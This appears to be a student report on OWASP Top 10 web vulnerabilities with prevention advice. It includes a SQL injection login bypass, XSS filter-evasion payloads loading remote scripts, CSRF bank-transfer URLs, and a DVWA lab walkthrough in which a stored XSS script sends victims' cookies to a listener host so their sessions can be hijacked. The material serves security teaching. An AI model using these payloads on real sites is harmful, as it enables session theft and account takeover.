Security Programming Report
-
Upload
independent -
Category
Documents
-
view
0 -
download
0
Transcript of Security Programming Report
Felix Aweh
Minang Eric
Alberto Russo
Samer Hourani
Jamerson Rodrigues
Security Programming HACKING TECHNIQUES AND PENETRATION TESTING
PAGE 1
Contents
Introduction ................................................................................................................................................... 2
Types of Hacking Techniques ...................................................................................................................... 2
Injection ......................................................................................................................................................... 3
Broken Authentication and Session Management.................................................................................... 4
How to protect yourself ............................................................................................................................ 5
Cross-Site Scripting (XSS) ............................................................................................................................ 7
Stored XSS Attacks ................................................................................................................................... 8
Reflected XSS Attacks .............................................................................................................................. 8
XSS Attack Consequences ....................................................................................................................... 8
XSS Locator ......................................................................................................................................... 8
Image XSS using the JavaScript directive ..................................................................................... 9
fromCharCode ....................................................................................................................................... 9
Remote style sheet ............................................................................................................................. 9
STYLE attribute using a comment to break up expression .................................................................. 9
Local htc file ........................................................................................................................................ 9
Default SRC tag to get past filters that check SRC domain ............................................................... 9
Cookie manipulation ............................................................................................................................... 10
META .................................................................................................................................................... 14
META using data ................................................................................................................................. 14
XSS using HTML quote encapsulation ............................................................................................... 15
Likely Places to Find XSS ulnerabilities ................................................................................................ 16
How to Prevent Cross Site Scripting on Your Website ....................................................................... 16
Insecure Direct Object References ............................................................................................................ 17
How to identify Insecure Direct Object References ............................................................................ 17
Prevent Insecure Direct Object References .......................................................................................... 18
Use an Indirect Reference Map .............................................................................................................. 18
Verify User Authorization ...................................................................................................................... 18
Cross-site request forgery (XSRF) .......................................................................................................... 19
Security Misconfiguration .......................................................................................................................... 21
How Do I Prevent 'Security Misconfiguration'? ................................................................................... 21
Insecure Cryptographic Storage................................................................................................................. 22
Failure to Restrict URL Access .................................................................................................................. 24
PAGE 2
Attack vectors ......................................................................................................................................... 24
Technical impacts ................................................................................................................................... 24
How do I prevent failure to restrict URL access? ................................................................................. 25
Example Attack Scenarios: .................................................................................................................. 25
Insufficient Transport Layer Protection.................................................................................................... 25
Attack vectors .......................................................................................................................................... 25
Technical impacts ................................................................................................................................... 26
How do I prevent failure to restrict URL access? ................................................................................ 26
Example Attack Scenarios: ..................................................................................................................26
Unvalidated Redirects and Forwards ....................................................................................................... 26
References ................................................................................................................................................... 28
Introduction
This report dives into some of the major hacking techniques most websites out there
could be vulnerable to. Our investigations into the vulnerabilities and consequences of the
hacking techniques are discussed in this document. It also gives some sample scenarios of
successful hacking and how to prevent them.
Types of Hacking Techniques
• A1: Injection
• A2: Broken Authentication and Session Management
• A3: Cross-Site Scripting (XSS)
• A4: Insecure Direct Object References
• A5: Cross-Site Request Forgery (CSRF)
• A6: Security Misconfiguration
• A7: Insecure Cryptographic Storage
• A8: Failure to Restrict URL Access
• A9: Insufficient Transport Layer Protection
• A10: Unvalidated Redirects and Forwards
PAGE 3
Injection
SQL injection is a common vulnerability for web applications, in which an attacker is able
to submit a SQL query which is executed by the web application, exposing the back-end
database. A SQL injection attack can occur when a web application utilizes users data
input without proper validation or encoding as part of a query. The SQL query wrote by
the hacker tricks the application into executing unintended commands or changing data.
SQL injection allows an attacker to create, read, update, alter or delete data stored in the
database. A SQL injection attack gives access to sensitive information such as credit card
numbers or other financial data.
Example of SQL injection
An example of SQL injection would be if you take a simple login page where a user would
input his username and password in order to access to a secure area to view his personal
details or chat with other users in a forum.
When the legitimate user submits his details, the program generates an SQL query with
the information entered by the user to check if the user it’s who it says he is, if there is a
user in the database with that username and password, If there is then the program allows
access to the user, if not it should bring an error message, but with SQL injection it is
possible for a hacker to write an SQL injection on the login input fields in order to bypass
those security measures, fooling the program into giving the hacker information from the
database or access to the secure area in this case.
Eg:
HTML code of a simple form with two inputs:
<form method=”post” action=”../functions/check_login.php”>
<input name=”username” type=”text”/>
<input name=“password” type=”password”/>
<input type=”submit” value=”Submit”/>
</form>
After user fills the username and password, let’s say “Alberto” for username and “1234” for
password. The system will send the form data to the “check_login.php” file, where the
code will check if there is a user set on the database with username “Alberto” that has
password “1234”
SQL statement = “SELECT * FROM users WHERE username = “Alberto” AND
password=”1234”
PAGE 4
If everything goes right it will let the user login to the system and move to a more secure
area, but without proper sanitation a hacker can be able to bypass this security check by
just filling on the input fields something as simple as “ ‘ OR 1=1 “, which would set the
following SQL statement
“SELECT * FROM users WHERE username = ‘’ OR 1=1 AND password=’’ OR 1=1”
This would let the hacker bypass your security check and be able to log onto your website
and do whatever he wants, or even destroy your entire database or insert/update/remove
any records from your tables.
Impact of SQL injection:
Once a hacker realizes that a system is vulnerable to SQL injection, he is able to inject
SQL query through an input form field. This is the same as giving the hacker your
database and allowing him to execute any SQL query, even the option to drop every table
from the database, which would result in the loss of your users or the end of your
company.
How to prevent SQL injection:
Validate the user input through validation techniques, where you check the input
field for special characters, length of text, type, etc. This is called sanitizing or
sanitation of input.
You should ensure that users with the permission to access the database have the
least privileges. Additionally, do not use system administrator accounts like
“admin” for Web applications.
Remove all stored procedures that are not in use
Show care when using stored procedures since they are generally safe from
injection.
Broken Authentication and Session Management
Authentication and user management includes all aspects of handling user authentication
and managing active sessions. User authentication on the web typically involves the use of
a userid and password. A session is a semi-permanent interactive information interchange,
also known as a dialogue, a conversation or a meeting, between two or more
communicating devices, or between a computer and user for example a login session. A
login session designates the period of activity between a user logging in and logging out of
a system. A session ID is a piece of data that is used to identify a session. Session IDs are
usually used to identify a user that has logged into a website. They can be used by hackers
to hijack a session and obtain potential privileges. A session ID is often a long, randomly
generated string to decrease the probability of obtaining a valid one by means of a brute-
force search. A session ID is usually in the form of a hash generated by a hash function
PAGE 5
that is generated and sent from a server to a client to identify the current interaction
session. The client usually stores and sends the token as an HTTP cookie and/or sends it
as a parameter in GET or POST queries. Session management is particularly useful in a
web browser where a user can save all opened pages and settings and restore them at a
later date. To help recover from a system or application crash, pages and settings can also
be restored on next run. Google Chrome, Mozilla Firefox, Internet Explorer, OmniWeb
and Opera are examples of web browsers that support session management. Session
management is often managed through the application of cookies (see reference [2])
HOW TO PROTECT YOURSELF
Password Strength - passwords should have restrictions that require a minimum
size and complexity for the password. Complexity typically requires the use of
minimum combinations of alphabetic, numeric, and/or non-alphanumeric
characters in a user's password (e.g., at least one of each). Users should be required
to change their password periodically. Users should be prevented from reusing
previous passwords.
Password Use - Users should be restricted to a defined number of login attempts
per unit of time and repeated failed login attempts should be logged. Passwords
provided during failed login attempts should not be recorded, as this may expose a
user's password to whoever can gain access to this log. The system should not
indicate whether it was the username or password that was wrong if a login
attempt fails. Users should be informed of the date/time of their last successful
login and the number of failed access attempts to their account since that time.
Password Change Controls: A single password change mechanism should be used
wherever users are allowed to change a password, regardless of the situation. Users
should always be required to provide both their old and new password when
changing their password (like all account information). If forgotten passwords are
emailed to users, the system should require the user to re-authenticate whenever
the user is changing their e-mail address, otherwise an attacker who temporarily
has access to their session (e.g., by walking up to their computer while they are
logged in) can simply change their e-mail address and request a 'forgotten'
password be mailed to them.
Password Storage - All passwords must be stored in either hashed or encrypted
form to protect them from exposure, regardless of where they are stored. Hashed
form is preferred since it is not reversible. Encryption should be used when the
plaintext password is needed, such as when using the password to login to another
system. Passwords should never be hardcoded in any source code. Decryption keys
must be strongly protected to ensure that they cannot be grabbed and used to
decrypt the password file.
PAGE 6
Protecting Credentials in Transit - The only effective technique is to encrypt the
entire login transaction using something like SSL. Simple transformations of the
password such as hashing it on the client prior to transmission provide little
protection as the hashed version can simply be intercepted and retransmitted even
though the actual plaintext password might not be known.
Session ID Protection - Ideally, a user's entire session should be protected via SSL.
If this is done, then the session ID (e.g., session cookie) cannot be grabbed off the
network, which is the biggest risk of exposure for a session ID. If SSL is not viable
for performance or other reasons then session IDs themselves must be protected in
other ways. First, they should never be included in the URL as they can be cached
by the browser, sent in the referrer header, or accidentally forwarded to a 'friend'.
Session IDs should be long, complicated, random numbers that cannot be easily
guessed. Session IDs can also be changed frequently during a session to reduce
how long a session ID is valid. Session IDs must be changed when switching to SSL,
authenticating, or other major transitions. Session IDs chosen by a user should
never be accepted.
Account Lists - Systems should be designed to avoid allowing users to gain access
to a list of the account names on the site. If lists of users must be presented, it is
recommended that some form of pseudonym (screen name) that maps to the
actual account be listed instead. That way, the pseudonym cannot be used during
a login attempt or some other hack that goes after a user's account.
Browser Caching - Authentication and session data should never be submitted as
part of a GET. POST should always be used instead. Authentication pages should
be marked with all varieties of the no cache tag to prevent someone from using the
back button in a user's browser to back-up to the login page and resubmit the
previously typed in credentials. Many browsers now support the
autocomplete=false flag to prevent storing of credentials in autocomplete caches.
Trust Relationships - Your site architecture should avoid implicit trust between
components whenever possible. Each component should authenticate itself to any
other component it is interacting with unless there is a strong reason not to (such
as performance or lack of a usable mechanism). If trust relationships are required,
strong procedural and architecture mechanisms should be in place to ensure that
such trust cannot be abused as the site architecture evolves over time.
Token should be independent of the browser.
Session tokens should be expired on the server, and destroyed when a browser is
closed.
PAGE 7
Avoid writing your own routines to authenticate, end sessions, tokens, etc. Use a
well-tested tool.
Use one session token (1st key), and if applicable, one application token (2nd key)
Test for when a "back browser" action is taken or use of an expiring timestamp.
If the web server is within a shared environment (multiple services on the same
server), do not allow sharing of directories. Verify that permissions are set up
correctly.
Remove all demo code, and guard against path traversal attacks.
Verify that the server configuration is proper for your environment. Do not accept
the server defaults without analysis. Defaults are usually bad since they are often
too open.
Use of https for web applications
Paying for certificates
Cross-Site Scripting (XSS)
Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites. Cross-site scripting (XSS) attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user in the output it generates without validating or encoding it.
An attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by your browser and used with that site. These scripts can even rewrite the content of the HTML page.
Cross-Site Scripting (XSS) attacks occur when:
1. Data enters a Web application through an untrusted source, most frequently a web request.
2. The data is included in dynamic content that is sent to a web user without being validated for malicious script.
PAGE 8
STORED XSS ATTACKS
Stored attacks are those where the injected script is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information. Stored XSS is also sometimes referred to as Persistent or Type-I XSS.
REFLECTED XSS ATTACKS
Reflected attacks are those where the injected script is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request. Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other web site. When a user is tricked into clicking on a malicious link, submitting a specially crafted form, or even just browsing to a malicious site, the injected code travels to the vulnerable web site, which reflects the attack back to the user’s browser. The browser then executes the code because it came from a "trusted" server. Reflected XSS is also sometimes referred to as Non-Persistent or Type-II XSS.
XSS ATTACK CONSEQUENCES
The consequence of an XSS attack is the same regardless of whether it is stored or reflected (or DOM Based). The difference is in how the payload arrives at the server. Do not be fooled into thinking that a “read only” or “brochureware” site is not vulnerable to serious reflected XSS attacks. XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. The most severe XSS attacks involve disclosure of the user’s session cookie, allowing an attacker to hijack the user’s session and take over the account. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirect the user to some other page or site, or modify presentation of content. An XSS vulnerability allowing an attacker to modify a press release or news item could affect a company’s stock price or lessen consumer confidence. An XSS vulnerability on a pharmaceutical site could allow an attacker to modify dosage information resulting in an overdose.
Basic XSS (https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet)
Some examples of basic XSS are;
XSS Locator
Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. Use this URL encoding calculator to encode the entire string. Tip: if you're in a rush and need to quickly check a page, often times injecting the depreciated "<PLAINTEXT>" tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably
<SCRIPT>alert (String.fromCharCode(88,83,83))</SCRIPT>
PAGE 9
Image XSS using the JavaScript directive
Image XSS using the JavaScript directive (IE7.0 doesn't support the JavaScript directive in context of an image, but it does in other contexts, but the following show the principles that would work in other tags as well:
<IMG SRC="javascript:alert('XSS');">
fromCharCode
If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need:
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
Remote style sheet
(Using something as simple as a remote style sheet you can include your XSS as the style parameter can be redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page:
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
STYLE ATTRIBUTE USING A COMMENT TO BREAK UP EXPRESSION
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
Local htc file
This is a little different than the above two cross site scripting vectors because it uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute:
<XSS STYLE="behavior: url(xss.htc);">
Default SRC tag to get past filters that check SRC domain
This will bypass most SRC domain filters. Inserting javascript in an event method will also apply to any HTML tag type injection that uses elements like Form, Iframe, Input, Embed etc. It will also allow any relevant event for the tag type to be substituted like onblur, onclick giving you an extensive amount of variations for many injections listed here. Submitted by David Cross.
<IMG SRC=# onmouseover="alert('xxs')">
PAGE 10
COOKIE MANIPULATION
Admittedly this is pretty obscure but I have seen a few examples where <META is allowed and you can use it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc...):
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
For this hacking technique we use the Damn Vulnerable Web Application (DVWA)
installed on a XAMP server. The application was installed on a virtual machine. We also
used Tamper Data hacking tool and Firefox. The objective was to look at the possibility of
manipulating with user login ID using XSS stored hacking technique.
The following steps below give a description on how we did the test;
Step 1
Start the web application from a browser, changing the security level to low. Then selected
the XSS stored option and insert a malicious php script. The script is pointing to a
different host.
PAGE 11
<script>
new Image().src=”http://172.16.10.55/b.php?” + document.cookie;
</script>
Step 2
The comment is then posted. And it can be seen like any other comment only that it is
malicious. Then comment is then posted on the website.
Step 3
PAGE 12
After posting the comment. We logout and the target is anyone else who visits that page
on the DWVA. At this time, we start netcat listening to port 80.
Step 4
As soon as a victim logs into the website and visits the page, his session id is listened and
is copied. As shown on the photo.
PAGE 13
Step 5
Start a new browser (Firefox) and visit the DVWA. Try to login into the website without
having the register. At this time we started the Tamper data hacking tool.
Step 6
PAGE 14
Using the Tamper data hacking tool, we then change the session id with the stolen session
id.
Step 7
Finally login with the stolen session Id.
META
The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can
be used for certain types of attacks where you need to get rid of referring URLs:
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
META using data
Directive URL scheme. This is nice because it also doesn't have anything visibly that has
the word SCRIPT or the JavaScript directive in it, because it utilizes base64 encoding.
Please see RFC 2397 for more details or go here or here to encode your own. You can also
use the XSS calculator below if you just want to encode raw HTML or JavaScript as it has a
Base64 encoding method:
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
PAGE 15
XSS using HTML quote encapsulation
This was tested in IE, your mileage may vary. For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of a regex filter "/<script[^>]+src/i":
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
For performing XSS on sites that allow "<SCRIPT>" but don't allow "<script src..." by way of a regex filter "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i" (this is an important one, because I've seen this regex in the wild):
<SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
Another XSS to evade the same filter, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i":
<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
Yet another XSS to evade the same filter, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i". I know I said I wasn't goint to discuss mitigation techniques but the only thing I've seen work for this XSS example if you still want to allow <SCRIPT> tags but not remote script is a state machine (and of course there are other ways to get around this if they allow <SCRIPT> tags):
<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
And one last XSS attack to evade, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i" using grave accents (again, doesn't work in Firefox):
<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>
Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly:
<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
This XSS still worries me, as it would be nearly impossible to stop this without blocking
all active content:
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
PAGE 16
LIKELY PLACES TO FIND XSS ULNERABILITIES
XSS is found in many website locations, not all of which are obvious. This lists all locations
where XSS may be found: [4]
HTTP referrer objects The URL GET parameters POST parameters Window.location Document.referrer document.location document.URLUnencoded All headers Cookie data Potentially data from your own database (if not properly validated on input)
HOW TO PREVENT CROSS SITE SCRIPTING ON YOUR WEBSITE
XSS can only be prevented by carefully sanitizing all input which is not known to be secure. Classes of input which is known NOT to be secure include:
HTTP referrer objects The URL GET parameters POST parameters Window.location Document.referrer document.location document.URLUnencoded All headers Cookie data Potentially data from your own database (if not properly validated on input)
Preventing XSS is an arduous job - all the values found via the above method must be checked for XSS attack vectors, which come in many forms. For instance, the same XSS code may come in a dozen different forms, based on how it is encoded and special characters placed inside.
If it is possible to whitelist data being input, then create a careful filter to whitelist the input.
Alternately, if the data is never output to a user's browser, then it cannot be used in an XSS attack. Be careful relying on this method, as other attacks, such as HTTP Response Header Splitting or SQL Injection attacks use similar untrusted data sources to perform other types of attacks.
PAGE 17
The best defense is to escape all user input. The level of escaping and how it should be implemented will be dependent on the specific site requirements. For instance, some sites wish to allow users to add some HTML tags, while others have no need of such functionality, and can more aggressively scan.
For In-URL type attacks, input should be escaped on the server side, in server code. Some common functions in PHP to escape strings related to XSS attack vectors (Should be used on both user input, and before outputting to the page):
Htmlspecialchars - converts HTML characters to non-executing types
For In-Body type attacks, there is not a fully comprehensive solution. Some options include using the ESAPI escape library like so:
ESAPI.encoder().encodeForJavaScript(user_input);
This library can also be used to escape CSS in a similar way.
The functions listed here will not stop 100% of XSS attacks, but will go a fair amount of the way. It is good to also do regular expression checking against expected input. For instance, when expecting Zip Code data, check for 5 integer values and discard everything else. Only a comprehensive strategy will eliminate the majority of XSS vectors.
Insecure Direct Object References
A direct object reference occurs when a reference to an internal implementation object,
such as a file, directory, or database key is exposed. Thus without any access control check
or other protection, attackers can manipulate these references to access unauthorized data.
The Insecure Direct Object References are flaws in system design where access to sensitive data/assets is not fully protected and data objects are exposed by application with assumption that user won’t manipulate the system. For example let’s take a scenario where an financial data report displayed to an user who is authorized to see his personal/organization’s financial data report but not expected to see other users/organization’s data.
HOW TO IDENTIFY INSECURE DIRECT OBJECT REFERENCES
Research has proven that identifying this vulnerability is slightly more difficult using automation tools than other vulnerabilities because to exploit this vulnerability you not only need to identify the flawed interface but also need to predict the pattern to identify a secure object like Filename etc. Objects may be exposed through URL & Links, Hidden Variables, Unprotected View State (ASP.NET), Drop down List box, JavaScript Array and client side objects like Java Applets.
PAGE 18
PREVENT INSECURE DIRECT OBJECT REFERENCES
Protection against this vulnerability can be achieve by - minimize the ability for users to predict object IDs/Names - make sure actual ID/name of objects are not exposed - verify user authorization each time sensitive objects/files/contents are accessed
USE AN INDIRECT REFERENCE MAP Indirect Reference Map may be used to create alternative ID/Name for server side object/data this mask the actual ID/Name of the object/data so that they are not exposed to the end user. The object ID may be anything like File Name or an internal Customer/User ID (e.g. the Primary key attribute in master tables). Indirect Reference Map uses a non-sequential & random identifier for a server side resource hence the end user see the alternate ID and not the actual ID of object. This mapping may be temporary stored in server cache or in a permanent mapping table.
For example your application may allow user to download a confidential file from your application. Instead of creating files with obvious names based on client ID, you may use randomly generated identifier as file name and maintain a mapping table with user friendly file name. In the client side link you may show the user friendly file name and when resource is requested by user then you may lookup the mapping table for actual (random) file name and allow user to retrieve the file.
VERIFY USER AUTHORIZATION Random/alternate object ID just minimizes the user ability to predict resource identifier that certainly reduce his capability to attack but it does not completely mitigate the attack. If attacker can get information of the alternative object ID (e.g. from browser history on a shared computer) then it is possible he send resource request in legitimate manner. Hence it is important to check user’s authorization to confirm that he is a valid user to request this resource. Handling such scenarios with database based validations is much easier to implement in comparison to application code.
For example: You retrieve some critical report contents form Database for a particular customer with below query: SELECT * FROM BankDetails WHERE userID=”123″
If the attacker can manipulate the userID from end user interface then he may pass a different ID to access reports of other user. You may easily add validation in SQL by checking the user authorization as below:
SELECT * FROM BankDetails INNER JOIN ReportAccessControlbyCom On ReportAccessControlbyCom.OrgId = BankDetails.ComId WHERE userID=”123″ AND ReportAccessControlbyCom.ComId = “loggedInUser_ComgId”
PAGE 19
CROSS-SITE REQUEST FORGERY (XSRF)
Cross-site request forgery, also known as a one-click attack or session riding and
abbreviated as CSRF or XSRF, is a type of malicious exploit of a website whereby
unauthorized commands are transmitted from a user that the website trusts. Unlike cross-
site scripting (XSS), which exploits the trust a user has for a particular site, CSRF exploits
the trust that a site has in a user's browser. CSRF is an attack which forces an end user to
execute unwanted actions on a web application in which he/she is currently authenticated.
With a little help of social engineering (like sending a link via email/chat), an attacker
may trick the users of a web application into executing actions of the attacker's choosing.
A successful CSRF exploit can compromise end user data and operation in case of normal
user. If the targeted end user is the administrator account, this can compromise the entire
web application.
EXAMPLE ATTACK SCENARIOS
The diagrams below show an example of CSRF exploit using the Google-gruyere platform.
See reference [1]
a)
b)
PAGE 20
c)
d)
Diagram (a) above shows the homepage of a logged-in user along with new updates from
other users along with a hyperlink to their homepages. Upon clicking the homepage
hyperlink, the user is directed to the homepage of another user, not knowing exactly what
URL is behind the hyperlink. In diagram (b), I change the hyperlink of my homepage to:
http://google-gruyere.appspot.com/843079736515/deletesnippet?index=0
Any user clicking on the Homepage hyperlink of “whitehathacker” is not aware that they
are clicking on a URL used to delete snippets on their homepage. This results in one of
their snippets being deleted as seen in diagrams (c) and (d). Another scenario would be
setting an icon or image to this same URL for deleting the snippets since it is not visible to
whoever clicks on it.
Scenarios like the one above obviously pose very minimal problems. In a more malicious
scenario, serious information could be compromised, like changing a password, email
address or home address, or even purchasing something. Another scenario would be the
case of a bank transfer. Suppose the URL for a bank transfer was as follows:
PAGE 21
GET http://bank.com/transfer.do?acct=ALBERTO&amount=100 HTTP/1.1
And a hacker decided to exploit the vulnerabilities of this URL by constructing the
following URL:
http://bank.com/transfer.do?acct=MARIA&amount=100000
If this URL were carefully hidden in a hyperlink or image and sent to a victim in an email
or chat forum while their bank account session were still on, money would be transferred
to a desired account without the victim’s knowledge just by clicking on the hyperlink or
image:
<a href="http://bank.com/transfer.do?acct=ERIC&amount=10000"> Lose 10 kilos in 5 days!
</a>
HOW TO PROTECT YOURSELF
•Users can help protect their accounts at poorly designed sites by logging off the site
before visiting another, or clearing their browser's cookies at the end of each browser
session.
•Checking the referrer in the client's HTTP request will prevent CSRF attacks. By ensuring
the HTTP requests have come from the original site means that the attacks from other
sites will not function
Security Misconfiguration
Security misconfiguration can happen at any level of an application stack, including the platform, web server, application server, database, framework, and custom code. Developers and system administrators need to work together to ensure that the entire stack is configured properly. Automated scanners are useful for detecting missing patches, misconfigurations, use of default accounts, unnecessary services, etc.
Regularly evaluate your Website and its environment, including the Web server, operating system, applications, and other resources your Website uses. Use a vulnerability scanner, such as Website Protection Website Scanner [https://www.websiteprotection.com/], to detect flaws.
HOW DO I PREVENT 'SECURITY MISCONFIGURATION'?
A repeatable hardening process that makes it fast and easy to deploy another environment that is properly locked down. Development, QA, and production environments should all be configured identically (with different passwords used in each environment). This process should be automated to minimize the effort required to setup a new secure environment. Consider running scans and doing audits periodically to help detect future misconfigurations or missing patches.
PAGE 22
Example Attack Scenarios [5]
1. The app server admin console is automatically installed and not removed. Default accounts aren’t changed. Attacker discovers the standard admin pages are on your server, logs in with default passwords, and takes over.
2. Directory listing is not disabled on your server. Attacker discovers she can simply list directories to find any file. Attacker finds and downloads all your compiled Java classes, which she decompiles and reverse engineers to get all your custom code. She then finds a serious access control flaw in your application.
3. App server configuration allows stack traces to be returned to users, potentially exposing underlying flaws. Attackers love the extra information error messages provide.
4. App server comes with sample applications that are not removed from your production server. Said sample applications have well known security flaws attackers can use to compromise your server
Insecure Cryptographic Storage
The most common flaw in this area is simply not encrypting data that deserves encryption. When encryption is employed, unsafe key generation and storage, not rotating keys, and weak algorithm usage is common. Use of weak or unsalted hashes to protect passwords is also common. External attackers have difficulty detecting such flaws due to limited access. They usually must exploit something else first to gain the needed access
1. Attack Vectors
Attackers typically don’t break the crypto. They break something else, such as find keys, get clear text copies of data, or access data via channels that automatically decrypt.
2. Technical Impacts
Failure frequently compromises all data that should have been encrypted. Typically this information includes sensitive data such as health records, credentials, personal data, credit cards, etc.
3. How Do I Prevent 'Insecure Cryptographic Storage'?
Considering the threats you plan to protect this data from (e.g., insider attack, external user), make sure you encrypt all such data at rest in a manner that defends against these threats.
Ensure offsite backups are encrypted, but the keys are managed and backed up separately.
PAGE 23
Ensure appropriate strong standard algorithms and strong keys are used, and key management is in place
Ensure passwords are hashed with a strong standard algorithm and an appropriate salt is used.
Ensure all keys and passwords are protected from unauthorized access.
4. Example Attack Scenarios
1. An application encrypts credit cards in a database to prevent exposure to end users. However, the database is set to automatically decrypt queries against the credit card columns, allowing an SQL injection flaw to retrieve all the credit cards in clear text. The system should have been configured to allow only back end applications to decrypt them, not the front end web application.
2. A backup tape is made of encrypted health records, but the encryption key is on the same backup. The tape never arrives at the backup center.
3. The password database uses unsalted hashes to store everyone’s passwords. A file upload flaw allows an attacker to retrieve the password file. All the unsalted hashes can be brute forced in 4 weeks, while properly salted hashes would have taken over 3000 years
Source: https://www.owasp.org/index.php/Top_10_2010-A7-Insecure_Cryptographic_Storage
Using Components with Known Vulnerabilities
Virtually every application has these issues because most development teams don’t focus on ensuring their components/libraries are up to date. In many cases, the developers don’t even know all the components they are using, never mind their versions. Component dependencies make things even worse.
1. Attack Vectors
Attacker identifies a weak component through scanning or manual analysis. He customizes the exploit as needed and executes the attack. It gets more difficult if the used component is deep in the application.
2. Technical Impacts
The full range of weaknesses is possible, including injection, broken access control, XSS, etc. The impact could range from minimal to complete host takeover and data compromise.
3. How Do I Prevent 'Using Components with Known Vulnerabilities'?
PAGE 24
One option is not to use components that you didn’t write. But that’s not very realistic.
Identify all components and the versions you are using, including all dependencies. (e.g., the versions plugin).
Monitor the security of these components in public databases, project mailing lists, and security mailing lists, and keep them up to date.
Establish security policies governing component use, such as requiring certain software development practices, passing security tests, and acceptable licenses.
Where appropriate, consider adding security wrappers around components to disable unused functionality and/ or secure weak or vulnerable aspects of the component.
4. Example Attack Scenarios
Component vulnerabilities can cause almost any type of risk imaginable, ranging from the trivial to sophisticated malware designed to target a specific organization. Components almost always run with the full privilege of the application, so flaws in any component can be serious, The following two vulnerable components were downloaded 22m times in 2011.
Apache CXF Authentication Bypass – By failing to provide an identity token, attackers could invoke any web service with full permission. (Apache CXF is a services framework, not to be confused with the Apache Application Server.)
Spring Remote Code Execution – Abuse of the Expression Language implementation in Spring allowed attackers to execute arbitrary code, effectively taking over the server.
Failure to Restrict URL Access
Applications are not always protecting page requests properly. Sometimes URL protection
is managed via configuration, and the system is misconfigured. Sometimes, developers
must include the proper code checks, and they forget.
Detecting such flaws is easy. The hardest part is identifying which pages (URLs) exist to
attack.
ATTACK VECTORS
Attackers who is an authorized system user, simply changes the URL to a privileged page.
Is access granted? Anonymous users could access private pages that aren’t protected.
TECHNICAL IMPACTS
Such flaws may allow some or even all accounts to be attacked. Once successful, the
attacker can do anything the victim could do. Privileged accounts are frequently targeted.
PAGE 25
HOW DO I PREVENT FAILURE TO RESTRICT URL ACCESS?
The authentication and authorization policies be role based, to minimize the effort required to maintain these policies.
The policies should be highly configurable, in order to minimize any hard coded aspects of the policy.
The enforcement mechanism(s) should deny all access by default, requiring explicit grants to specific users and roles for access to every page.
If the page is involved in a workflow, check to make sure the conditions are in the
proper state to allow access.
Example Attack Scenarios:
The attacker simply force browses to target URLs. Consider the following URLs which are
both supposed to require authentication. Admin rights are also required for access to the
“admin_getappInfo” page.
http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo
If the attacker is not authenticated, and access to either page is granted, then
unauthorized access was allowed. If an authenticated, non-admin, user is allowed to
access the “admin_getappInfo” page, this is a flaw, and may lead the attacker to more
improperly protected admin pages.
Such flaws are frequently introduced when links and buttons are simply not displayed to
unauthorized users, but the application fails to protect the pages they target.
https://www.owasp.org/index.php/Top_10_2010-A8-Failure_to_Restrict_URL_Access
Insufficient Transport Layer Protection
Applications frequently do not protect network traffic. They may use SSL/TLS during
authentication, but not elsewhere, exposing data and session IDs to interception. Expired
or improperly configured certificates may also be used.
Detecting basic flaws is easy. Just observe the site’s network traffic. More subtle flaws
require inspecting the design of the application and the server configuration.
ATTACK VECTORS
Monitoring user’s network traffic can be difficult, but is sometimes easy. The primary
difficulty lies in monitoring the proper network’s traffic while users are accessing the
